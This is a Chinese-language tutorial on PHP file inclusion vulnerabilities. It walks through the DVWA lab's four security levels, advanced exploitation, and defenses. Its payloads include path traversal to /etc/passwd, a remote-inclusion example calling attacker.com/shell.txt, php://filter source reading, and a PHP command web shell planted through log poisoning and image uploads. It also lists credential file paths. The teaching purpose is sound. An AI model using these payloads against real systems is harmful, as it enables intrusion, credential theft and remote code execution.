1. 文件包含漏洞基础解析
文件包含漏洞是Web安全领域中一个经典且危险的漏洞类型。作为一名长期从事渗透测试的安全工程师,我见过太多因为文件包含漏洞导致整个系统沦陷的案例。让我们从基础开始,彻底理解这个漏洞的来龙去脉。
1.1 文件包含的本质与机制
在PHP开发中,include、require这些函数本意是为了提高代码复用性。比如多个页面都需要使用数据库连接功能,开发者会把数据库连接代码单独写在db_connect.php中,然后在各个页面通过include('db_connect.php')来引入。
问题出在动态包含上。当开发人员写出这样的代码:
php复制$page = $_GET['page'];
include($page . '.php');
攻击者就可以通过控制page参数来包含任意文件。这种灵活性本是为了方便,却打开了潘多拉魔盒。
关键区别:include和require在错误处理上不同。include出错会继续执行,require出错会终止脚本。这个细节在CTF中常被用来判断后端逻辑。
1.2 文件包含的两种类型
根据包含文件的来源,可以分为:
-
本地文件包含(LFI):包含服务器本地的文件
- 示例:
?page=../../etc/passwd - 危害:读取敏感文件、结合其他漏洞getshell
- 示例:
-
远程文件包含(RFI):包含远程服务器上的文件
- 示例:
?page=http://attacker.com/shell.txt - 前提:php.ini中allow_url_include=On
- 危害:直接执行远程恶意代码
- 示例:
在实际渗透测试中,LFI更为常见,因为大多数生产环境都会关闭allow_url_include。
1.3 敏感文件路径大全
掌握常见系统的敏感文件路径是文件包含漏洞利用的基础。以下是我整理的实战中常用的路径清单:
Windows系统关键文件
code复制c:\windows\system32\drivers\etc\hosts # 主机名解析
c:\windows\system.ini # 系统硬件配置
c:\windows\php.ini # PHP配置信息
c:\xampp\apache\conf\httpd.conf # Apache配置文件
Linux系统关键文件
code复制/etc/passwd # 用户账户信息
/etc/shadow # 密码哈希(需root)
/var/log/auth.log # 认证日志
/var/www/html/config.php # 网站配置文件
~/.bash_history # 用户命令历史
Web应用常见配置文件
code复制/config/database.php
/.env
/web.config
/application/config/config.php
这些文件往往包含数据库密码、API密钥等敏感信息,是渗透测试中的重点目标。
2. DVWA靶场实战演练
DVWA(Damn Vulnerable Web Application)是学习Web安全的经典靶场。下面我将详细拆解DVWA中文件包含漏洞的四个安全级别,并分享我的实战技巧。
2.1 Low级别 - 基础利用
Low级别的代码毫无防护:
php复制$file = $_GET['page'];
include($file);
利用步骤:
- 确定参数:通过查看页面源码或抓包,发现page参数
- 目录穿越:使用
../../../../返回根目录code复制?page=../../../../etc/passwd - 技巧:可以多写几个../确保到达根目录
实战要点:
- Linux系统使用
/etc/passwd测试 - Windows系统可以用
c:\windows\win.ini测试 - 如果返回空白,可能是路径不对,尝试增加/减少../层数
2.2 Medium级别 - 双写绕过
Medium级别增加了简单的过滤:
php复制$file = str_replace(array("../", "..\"), "", $_GET['page']);
绕过原理:
过滤将../替换为空,但只替换一次。采用双写绕过:
code复制..././ => 中间的../被删除 => 两边的.和/组合形成新的../
完整payload:
code复制?page=..././..././..././etc/passwd
测试技巧:
- 先尝试普通LFI,观察错误信息
- 看到过滤后,尝试各种变形:
....//...\/..%2F(URL编码)
2.3 High级别 - 协议利用
High级别使用了白名单限制:
php复制if(!fnmatch("file*", $file) && $file != "include.php") {
die("ERROR: File not found!");
}
突破方法:
利用file协议绕过限制:
code复制?page=file:///etc/passwd
协议详解:
file://表示本地文件协议- 三个斜杠是标准格式:
file://<host>/<path> - 本地使用时host为空,所以是
file:///path
其他可用协议:
php://filter- 用于读取文件内容zip://- 压缩包内文件访问phar://- PHP归档文件访问
2.4 Impossible级别 - 完美防御
Impossible级别采用严格白名单:
php复制if($file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php") {
die("ERROR: File not found!");
}
防御分析:
- 硬编码允许包含的文件列表
- 没有任何动态拼接或变量控制
- 这是最安全的防御方式
绕过思考:
在这种严格白名单下,常规文件包含几乎不可能成功。需要寻找:
- 其他漏洞组合利用
- 应用逻辑缺陷
- 服务器配置问题
3. 高级利用技巧
掌握了基础利用后,让我们进入更高级的实战技巧。这些方法在实际渗透测试中非常有效。
3.1 使用php://filter读取源码
当直接包含PHP文件时,代码会被执行而非显示。要查看源码,可以使用:
code复制?page=php://filter/read=convert.base64-encode/resource=index.php
操作步骤:
- 发送上述payload
- 获取Base64编码的结果
- 使用Base64解码得到源码
实战技巧:
- 如果返回乱码,尝试不同编码:
code复制convert.iconv.utf-8.utf-16le - 组合多个过滤器:
code复制php://filter/read=convert.base64-encode|convert.base64-encode/resource=index.php
3.2 日志注入攻击
当没有上传功能时,可以通过污染日志文件实现代码执行。
Apache日志注入步骤:
- 修改User-Agent为PHP代码:
php复制<?php system($_GET['cmd']); ?> - 访问网站产生日志记录
- 包含日志文件:
code复制?page=/var/log/apache2/access.log - 执行命令:
code复制&cmd=id
常见日志路径:
- Apache:
/var/log/apache2/access.log - Nginx:
/var/log/nginx/access.log - SSH:
/var/log/auth.log
3.3 文件上传组合利用
这是最稳定可靠的getshell方法。
详细步骤:
- 准备图片马:
php复制GIF89a<?php system($_GET['cmd']); ?> - 上传图片,获取路径如
/uploads/1.jpg - 包含图片马:
code复制?page=./uploads/1.jpg - 使用蚁剑连接:
- URL:
http://target.com/uploads/1.jpg - 设置Cookie等认证信息
- URL:
绕过技巧:
- 如果检查文件头,确保包含真实的图片头(GIF89a等)
- 尝试双重扩展名:
shell.php.jpg - 使用.htaccess文件绕过限制
4. 防御方案深度解析
作为开发人员,必须了解如何有效防御文件包含漏洞。以下是经过实战检验的防御方案。
4.1 白名单机制
实现代码:
php复制$allowed = ['home.php', 'about.php'];
if(!in_array($page, $allowed)) {
die('Invalid page!');
}
优点:
- 只允许预定义的文件
- 无法通过任何变形绕过
注意事项:
- 白名单必须硬编码,不能动态生成
- 文件路径应该使用绝对路径
4.2 路径固定化
安全做法:
php复制$baseDir = '/var/www/html/includes/';
$page = basename($_GET['page']);
include($baseDir . $page . '.php');
安全要点:
- 使用basename()去除路径
- 固定前缀目录
- 强制添加后缀
4.3 服务器配置加固
关键配置:
code复制allow_url_include = Off
open_basedir = /var/www/html
disable_functions = include,require
配置说明:
- 关闭远程文件包含
- 限制PHP可访问的目录
- 禁用危险函数(极端情况)
4.4 其他防御措施
-
文件权限控制:
- 敏感文件设置为root只读
- 网站目录不可写
-
日志安全:
- 日志文件存放在web目录外
- 设置适当的权限
-
输入验证:
php复制if(preg_match('/\.\.|[^a-z0-9_-]/i', $page)) { die('Invalid characters!'); }
5. 实战经验与技巧
在这一部分,我将分享多年来在文件包含漏洞方面积累的独家经验。
5.1 常见问题排查
问题1:包含文件返回空白
- 检查文件是否存在
- 尝试绝对路径
- 查看服务器错误日志
问题2:包含PHP文件不执行
- 可能是代码被当作文本输出
- 尝试使用php://input直接执行代码
问题3:路径穿越无效
- Windows和Linux路径符号不同
- 尝试
..\和../组合 - 使用URL编码:
%2e%2e%2f
5.2 特殊场景利用
场景1:有限制的文件包含
code复制include('/var/www/html/'.$_GET['page']);
绕过方法:
- 使用超长路径触发截断
- 利用NULL字节(%00)截断(旧版PHP)
场景2:文件包含+文件上传
- 上传.user.ini文件设置auto_prepend_file
- 上传包含PHP代码的session文件
场景3:数据库中的文件包含
- 如果从数据库读取文件名,可能SQL注入
5.3 自动化工具推荐
-
Burp Suite:
- Intruder模块爆破路径
- 编码转换功能
-
ffuf:
bash复制ffuf -w wordlist.txt -u "http://target.com/?page=FUZZ" -
LFi Suite:
- 自动化测试工具
- 包含多种payload
5.4 渗透测试方法论
-
信息收集:
- 确定PHP版本
- 查找配置文件
- 识别服务器类型
-
初步测试:
- 尝试/etc/passwd
- 测试各种协议
- 检查错误信息
-
深度利用:
- 日志注入
- 上传组合利用
- 权限提升
-
后渗透:
- 维持访问
- 横向移动
- 痕迹清理
文件包含漏洞看似简单,但深入挖掘会发现许多有趣的技巧和变种。希望这篇从基础到实战的全面解析,能帮助你在安全研究和渗透测试中更好地理解和利用这类漏洞。记住,在合法授权的测试中,始终遵守道德规范,将技术用于提升系统安全。